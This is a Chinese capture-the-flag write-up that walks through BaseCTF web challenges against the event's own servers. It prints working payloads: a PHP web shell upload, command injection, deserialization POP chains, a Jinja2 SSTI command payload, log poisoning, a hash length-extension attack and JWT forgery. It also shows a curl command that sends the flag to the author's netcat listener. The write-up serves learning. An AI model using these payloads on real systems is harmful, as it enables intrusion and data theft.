0x01 前言 比赛都结束了,但是我还是写一下WP吧,学到了挺多东西的,只打了前两周,后面开学了自己还要学一些东西,所以就没打了,气人的是,上个月底成都太热了,我写了两周的WP,居然热关机电脑没存上,啊啊啊
0x02 WP [Week1] A Dark Room 查看源码
[Week1] Aura 酱的礼物 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );$pen = $_POST ['pen' ];if (file_get_contents ($pen ) !== 'Aura' ){ die ('这是 Aura 的礼物,你不是 Aura!' ); } $challenge = $_POST ['challenge' ];if (strpos ($challenge , 'http://jasmineaura.github.io' ) !== 0 ){ die ('这不是 Aura 的博客!' ); } $blog_content = file_get_contents ($challenge );if (strpos ($blog_content , '已经收到Kengwang的礼物啦' ) === false ){ die ('请去博客里面写下感想哦~' ); } $gift = $_POST ['gift' ];include ($gift ); 这是 Aura 的礼物,你不是 Aura!
@
重定向一下即可
1 pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:24028/&gift=php://filter/convert.base64-encode/resource=flag.php
[Week1] HTTP 是什么呀 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Request: POST /?basectf=we1c%2500me HTTP/1.1 Host: challenge.basectf.fun:25643 Content-Length: 11 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http://challenge.basectf.fun:25643 Content-Type: application/x-www-form-urlencoded User-Agent: Base Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: Base Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 x-forwarded-for: 127.0.0.1 cookie: c00k13=i can't eat it Connection: close Base=fl%40g
[Week1] md5绕过欸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; } ?>
1 2 3 4 ?name[]=1&name2[]=1 POST: password[]=2&password2[]=2
[Week1] upload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Request: POST / HTTP/1.1 Host: challenge.basectf.fun:31060 Content-Length: 204 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge.basectf.fun:31060 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZhDnBFvG8YCvvDXw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.basectf.fun:31060/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close ------WebKitFormBoundaryZhDnBFvG8YCvvDXw Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?=eval($_POST[a]);?> ------WebKitFormBoundaryZhDnBFvG8YCvvDXw--
得到路径/uploads/4e5f4647-ae62-4dcf-ae77-0a4c23b449b9.jpg
然后不对,换了一下
/uploads/shell.php
1 2 3 4 http://challenge.basectf.fun:31060/uploads/shell.php POST: a=echo `tac /f*`;
[Week1] 喵喵喵´•ﻌ•` 1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
1 http://challenge.basectf.fun:30606/?DT=echo `tac /f*`;
[Week2] ez_ser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } class Crypto { public function __wakeup ( ) { echo "happy happy happy!" ; } public function getflag ( ) { echo "you are over!" ; } } $ser = $_GET ['ser' ];unserialize ($ser );?>
1 web::wakeup->re::toString->pwn::get->Misc::getflag
写个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class re { public $chu0 ; } class web { public $kw ; public $dt ; } class pwn { public $dusk ="gods" ; public $over ; } class Misc { public $nothing ; public $flag ; } $a =new web ();$a ->kw=new re ();$a ->kw->chu0=new pwn ();$a ->kw->chu0->over=new misc ();echo serialize ($a );
[Week2] Really EZ POP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ );class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
1 Natrue::destruct->Sea::get->Shark::invoke->Sink::toString
写个poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class Sink { public $cmd = 'system("ls");' ; } class Shark { public $word ; } class Sea { public $animal ; } class Nature { public $sea ; } $a =new Nature ();$a ->sea=new Sea ();$a ->sea->animal=new Shark ();$a ->sea->animal->word=new Sink ();echo serialize ($a );
但是环境是私有属性所以我们自己手动改一下就好了
1 2 POST: nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:18:"system("tac /f*");";}}}}
[Week2] RCEisamazingwithspace
[Week2] 一起吃豆豆 查看源码发现base64
,解码即可
[Week2] 你听不到我的声音 1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
这道题本来是想弹shell
的但是没成功,然后使用curl
即可
1 2 POST: cmd=curl http://IP:9999/`tac /f*`
1 2 3 4 5 6 7 root@dkcjbRCL8kgaNGz:~# nc -lvnp 9999 Listening on 0.0.0.0 9999 Connection received on 27.25.151.198 36247 GET /BaseCTFb8ce572d-8b9c-40f5-8e1a-ab03312750af HTTP/1.1 Host: 27.25.151.48:9999 User-Agent: curl/7.74.0 Accept: */*
[Week2] 所以你说你懂 MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
md5绕过而且很全面
主要说说长度扩展的怎么打
基本原理就是本来是自带四个幻数,但是如果我中间进行md5 block的填充,我就可以插入数据更新幻数
1 2 <?php echo bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 ));
1 print (len ('519b5b1fdf52180319049cb85ed650767688949e246f862d954c5f1929229e1f5e28d5a34d3157c21aeb14300de5c526' ))
得到是96
位
1 2 3 4 5 6 7 8 9 10 11 └─$ python hash_ext_attack.py 2024-09-16 11:11:59.952 | DEBUG | common.md5_manual:__init__:17 - init...... 请输入已知明文: 请输入已知hash: aabb626e2ad043682bc9a07157826adf 请输入扩展字符: admin 请输入密钥长度:96 2024-09-16 11:12:17.215 | INFO | common.HashExtAttack:run:65 - 已知明文:b'' 2024-09-16 11:12:17.215 | INFO | common.HashExtAttack:run:66 - 已知hash:b'aabb626e2ad043682bc9a07157826adf' 2024-09-16 11:12:17.215 | INFO | common.HashExtAttack:run:68 - 新明文:b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00admin' 2024-09-16 11:12:17.216 | INFO | common.HashExtAttack:run:69 - 新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin 2024-09-16 11:12:17.216 | INFO | common.HashExtAttack:run:71 - 新hash:d1c4ed2f942ffa9e7737bc93fc4eed4a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Request: POST / HTTP/1.1 Host: challenge.basectf.fun:35350 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=9c14647va91fmsku06lsevlmij Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 807 apple[]=1&banana[]=2&appple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&bananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&md5=d1c4ed2f942ffa9e7737bc93fc4eed4a&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
中途出现了点插曲因为这里hashpump
是无法使用了的于是换了一个脚本,服了,我觉得这个原理有必要研究一下并且自己写个脚本
[Week2] 数学大师 https://regex101.com/
找到一个正则网站可以的好用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsimport reimport timesess = requests.session() reg = r"(\d+)\s*([\+\-\×\÷])\s*(\d+)" url = "http://challenge.basectf.fun:48234/" answer = 1 while True : r = sess.post(url=url, data={'answer' : answer}) match = re.search(reg, r.text) if match : num1 = match .group(1 ) op = match .group(2 ) num2 = match .group(3 ) if op == "+" : answer = int (num1) + int (num2) elif op == "-" : answer = int (num1) - int (num2) elif op == "×" : answer = int (num1) * int (num2) elif op == "÷" : answer = int (num1) // int (num2) else : print ("未找到匹配的题目,可能是最后一题或者发生了错误。" ) break print (r.text) if "Base" in r.text: print ("挑战完成!" ) break time.sleep(0.5 )
[Week3] ez_php_jail 在 PHP 8 之前 的版本中,当参数名中含有 .
(点号)或者[
(下划线)时,会被自动转为 _
(下划线) 。如果[
出现在参数中使得错误转换导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,但是如果参数最后出现了]
,那么其中的非法字符还是会被正常解析(不会转换),因为被当成了数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?>
但是查看文件这里又有一些绕过
1 ?Jail[by.Happy=highlight_file(glob('/f*')[0]);
使用glob
函数查找
[Week3] 复读机 这里其实是有点没看懂在干嘛的
这样子才看出来是有过滤的,服了这过滤把fenjing
办了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /flag HTTP/1.1 Host: challenge.basectf.fun:47686 Content-Length: 260 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http://challenge.basectf.fun:47686 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.basectf.fun:47686/flag Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=9c14647va91fmsku06lsevlmij Connection: close flag=Basectf{}{%set gl='_'~'_'~'g''lobals'~'_'~'_'%}{%set bu='_'~'_'~'b''uiltins'~'_'~'_'%}{%set im='_'~'_'~'import'~'_'~'_'%}{%set vs='OS'|lower%}{%set ca='%c%c%c%c%c%c%c'%(99,97,116,32,47,102,42)%}{%print g['p''op'][gl][bu][im](vs)['p''open'](ca)['read']()%}
最后搞了老半天,不好绕
[Week3] 滤个不停 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
日志文件没有被ban直接包含即可,但是有个小小的疑问
为啥要hello world的时候不能写data协议呢,这个又没有过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Request: POST /?a=echo%20`tac%20/f*`; HTTP/1.1 Host: challenge.basectf.fun:39591 Content-Length: 62 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http://challenge.basectf.fun:39591 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36;<?=eval($_GET[a]);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.basectf.fun:39591/?a=echo%20`tac%20/f*`; Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=9c14647va91fmsku06lsevlmij Connection: close incompetent=HelloWorld&Datch=%2Fvar%2Flog%2Fnginx%2Faccess.log
[Week3] 玩原神玩的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); } 错了!就你还想玩原神?❌❌❌
挨个来,首先
1 2 3 if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); }
这里我是直接尝试的字符串,但是后面想想字符串的长度和数组的长度进行比较?,不太科学,所以爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsfrom urllib.parse import urlencodeurl = "http://challenge.basectf.fun:41347/" headers = { "User-Agent" : "Mozilla/5.0" , "Content-Type" : "application/x-www-form-urlencoded" , } data = {} for i in range (101 ): data[f'len[{i} ]' ] = 1 payload = urlencode(data) print (f"当前 payload: {payload} " ) r = requests.post(url=url, data=data, headers=headers) if "</code>我不管,我要玩原神!😭😭😭" in r.text: print (f"找到匹配长度: {i} " ) break
然后找到是45,那么看看后面发现有点小坑就是%
的编码问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Request: POST /?tip=%E6%88%91%E8%A6%81%E7%8E%A9%E5%8E%9F%E7%A5%9E HTTP/1.1 Host: challenge.basectf.fun:45702 Content-Length: 677 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http://challenge.basectf.fun:41347 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.basectf.fun:41347/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=9c14647va91fmsku06lsevlmij Connection: close len%5B0%5D=1&len%5B1%5D=1&len%5B2%5D=1&len%5B3%5D=1&len%5B4%5D=1&len%5B5%5D=1&len%5B6%5D=1&len%5B7%5D=1&len%5B8%5D=1&len%5B9%5D=1&len%5B10%5D=1&len%5B11%5D=1&len%5B12%5D=1&len%5B13%5D=1&len%5B14%5D=1&len%5B15%5D=1&len%5B16%5D=1&len%5B17%5D=1&len%5B18%5D=1&len%5B19%5D=1&len%5B20%5D=1&len%5B21%5D=1&len%5B22%5D=1&len%5B23%5D=1&len%5B24%5D=1&len%5B25%5D=1&len%5B26%5D=1&len%5B27%5D=1&len%5B28%5D=1&len%5B29%5D=1&len%5B30%5D=1&len%5B31%5D=1&len%5B32%5D=1&len%5B33%5D=1&len%5B34%5D=1&len%5B35%5D=1&len%5B36%5D=1&len%5B37%5D=1&len%5B38%5D=1&len%5B39%5D=1&len%5B40%5D=1&len%5B41%5D=1&len%5B42%5D=1&len%5B43%5D=1&len%5B44%5D=1&m[]=100%25&m[]=love100%2530bd7ce7de206924302499f197c7a966
拿到了每个字符的md5
,这里爆破一下
1 2 3 4 5 6 7 8 9 10 import hashlibhashes = [ "3295c76acbf4caaed33c36b1b5fc2cb1" ,"26657d5ff9020d2abefe558796b99584" ,"73278a4a86960eeb576a8fd4c9ec6997" ,"ec8956637a99787bd197eacd77acce5e" ,"e2c420d928d4bf8ce0ff2ec19b371514" ,"43ec517d68b6edd3015b3edc9a11367b" ,"ea5d2f1c4608232e07d3aa3d998e5135" ,"c8ffe9a587b126f152ed3d89a146b445" ,"f457c545a9ded88f18ecee47145a72c0" ,"66f041e16a60928b05a7e228a89c3799" ,"c0c7c76d30bd3dcaefc96f40275bdc0a" ,"7f39f8317fbdb1988ef4c628eba02591" ,"f0935e4cd5920aa6c7c996a5ee53a70f" ,"65b9eea6e1cc6bb9f0cd2a47751a186f" ,"072b030ba126b2f4b2374f342be9ed44" ,"a97da629b098b75c294dffdc3e463904" ,"7f39f8317fbdb1988ef4c628eba02591" ,"d67d8ab4f4c10bf22aa353e27879133c" ,"19ca14e7ea6328a42e0eb13d585e4c22" ,"a1d0c6e83f027327d8461063f4ac58a6" ,"d67d8ab4f4c10bf22aa353e27879133c" ,"9f61408e3afb633e50cdf1b20de6f466" ,"e369853df766fa44e1ed0ff613f563bd" ,"d9d4f495e875a2e075a1a4a6e1b9770f" ,"d9d4f495e875a2e075a1a4a6e1b9770f" ,"67c6a1e7ce56d3d6fa748ab6d9af3fd7" ,"b53b3a3d6ab90ce0268229151c9bde11" ,"4c56ff4ce4aaf9573aa5dff913df997a" ,"d9d4f495e875a2e075a1a4a6e1b9770f" ,"3416a75f4cea9109507cacd8e2f2aefc" ,"a5771bce93e200c36f7cd9dfd0e5deaa" ,"c0c7c76d30bd3dcaefc96f40275bdc0a" ,"1f0e3dad99908345f7439f8ffabdffc4" ,"3c59dc048e8850243be8079a5c74d079" ,"ea5d2f1c4608232e07d3aa3d998e5135" ,"98f13708210194c475687be6106a3b84" ,"c74d97b01eae257e44aa9d5bade97baf" ,"3c59dc048e8850243be8079a5c74d079" ,"14bfa6bb14875e45bba028a21ed38046" ,"14bfa6bb14875e45bba028a21ed38046" ,"1ff1de774005f8da13f42943881c655f" ,"28dd2c7955ce926456240b2ff0100bde" ,"d2ddea18f00665ce8623e36bd4e3c7c5" ,"1f0e3dad99908345f7439f8ffabdffc4" ,"43ec517d68b6edd3015b3edc9a11367b" ] for index, char in enumerate (hashes): for flag_char in range (0 , 256 ): if (hashlib.md5(str (flag_char).encode("UTF-8" )).hexdigest()) == char: print ((flag_char)) break
然后再异或一下就可以了
1 2 3 4 5 6 7 8 9 10 11 encrypted_data = [66 , 96 , 113 , 102 , 71 , 81 , 64 , 124 , 49 , 58 , 50 , 61 , 106 , 105 , 60 , 107 , 61 , 39 , 36 , 42 , 39 , 56 , 34 , 46 , 46 , 47 , 55 , 121 , 46 , 41 , 38 , 50 , 19 , 21 , 64 , 20 , 16 , 21 , 69 , 69 , 24 , 77 , 73 , 19 , 81 ] decrypted_string = '' .join([chr (value ^ i) for i, value in enumerate (encrypted_data)]) print (decrypted_string)
[Week4] No JWT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
搞到源码之后看看,发现是可以直接伪造的,但是有个时间我们得先搞到,所以得先登录一下才可以(手动尝试了很久都不行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "http://challenge.basectf.fun:27799/login" data = { 'username' : 'bao' , 'password' : '123' } headers = {'Content-Type' : 'application/json' } r = requests.post(url=url, json=data, headers=headers) try : json_response = r.json() token = json_response.get("token" ) print (token) except ValueError: print ("Response does not contain valid JSON" )
得到jwt
之后直接伪造成admin
即可
1 2 3 4 5 6 7 8 9 10 import requestsurl = "http://challenge.basectf.fun:27799/flag" headers = { 'Authorization' : 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJiYW8iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MjY1MTUzNDh9.k5yO3yf2WuJag1hAYj4fy5w74-UxDfdeeEQeoH23kyo' , 'Content-Type' : 'application/json' } r = requests.get(url=url, headers=headers) print (r.text)
[Week4] flag直接读取不就行了? 原生类的利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
1 2 3 ?K=FilesystemIterator&W=/secret ?K=SplFileObject&W=php://filter/convert.base64-encode/resource=/secret/f11444g.php
[Week4] 圣钥之战1.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read() @app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
我不会污染,所以仔细看看这个
1 2 3 4 5 6 class cls (): def __init__ (self ): pass instance = cls()
1 2 3 if request.is_json: merge(json.loads(request.data), instance)
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
那么打开的是__file__
,属性这里我们直接污染即可
